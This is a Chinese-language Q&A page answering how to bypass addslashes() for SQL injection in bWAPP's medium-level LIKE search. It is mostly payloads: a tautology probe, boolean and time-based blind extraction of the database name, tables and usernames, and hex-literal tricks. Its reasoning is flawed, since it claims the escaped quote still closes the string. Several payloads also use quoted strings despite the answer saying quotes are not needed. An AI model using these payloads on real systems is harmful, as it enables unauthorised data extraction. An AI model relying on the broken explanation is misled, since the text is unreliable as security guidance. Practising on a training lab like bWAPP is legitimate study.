You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何在bWAPP中等难度LIKE子句场景下绕过addslashes()实现SQL注入?

bWAPP中等难度SQL注入(addslashes+LIKE场景)实现方法

1. 验证注入存在

构造如下输入作为title参数的值:

' OR 1=1-- 

经过addslashes()处理后,单引号被转义为\',最终执行的SQL语句为:

SELECT * FROM movies WHERE title LIKE '%\' OR 1=1-- %';

其中--是SQL注释符,会注释掉后续的%',实际生效的条件是title LIKE '%\' OR 1=1。由于1=1恒成立,会返回所有电影记录,以此验证注入点存在。

2. 布尔盲注获取数据

利用MySQL的CHAR()函数(通过ASCII码构造字符串,无需引号)结合LIKE或=运算符,通过返回结果的数量变化判断条件是否成立,逐步猜解数据:

  • 猜解当前数据库名:
    输入:

    ' OR database() LIKE CONCAT(CHAR(98), '%')-- 
    

    若返回所有记录,说明数据库名以b开头(bWAPP的数据库名为bWAPP)。继续拼接ASCII码字符细化猜解,比如:

    ' OR database() LIKE CONCAT(CHAR(98), CHAR(119), '%')-- 
    
  • 猜解表名:
    假设已确认数据库为bWAPP,猜解是否存在users表:

    ' OR EXISTS(SELECT * FROM bWAPP.users)-- 
    

    若返回所有记录,说明users表存在。

  • 猜解列名:
    针对users表猜解是否存在username列:

    ' OR EXISTS(SELECT username FROM bWAPP.users)-- 
    
  • 猜解数据内容:
    猜解第一条username是否为admin(ASCII码:97,100,109,105,110):

    ' OR (SELECT username FROM bWAPP.users LIMIT 0,1) = CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110))-- 
    

3. 时间盲注获取数据

如果布尔盲注无法通过返回结果判断(比如页面无论条件真假都返回相同内容),可以利用时间延迟函数SLEEP(),通过响应时间判断条件是否成立:

  • 判断数据库名是否以b开头:
    ' OR IF(database() LIKE CONCAT(CHAR(98), '%'), SLEEP(5), 0)-- 
    
    若页面响应延迟约5秒,说明条件成立。

4. 十六进制字符串利用(无需引号)

MySQL中支持0x开头的十六进制字符串,无需引号即可使用,可替代CHAR()函数:

  • 判断数据库名是否为bWAPP(十六进制为0x6277617070):
    ' OR database() = 0x6277617070-- 
    
    若返回所有记录,说明数据库名正确。

内容的提问来源于stack exchange,提问作者Abdul Saqib

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.19 01:40:18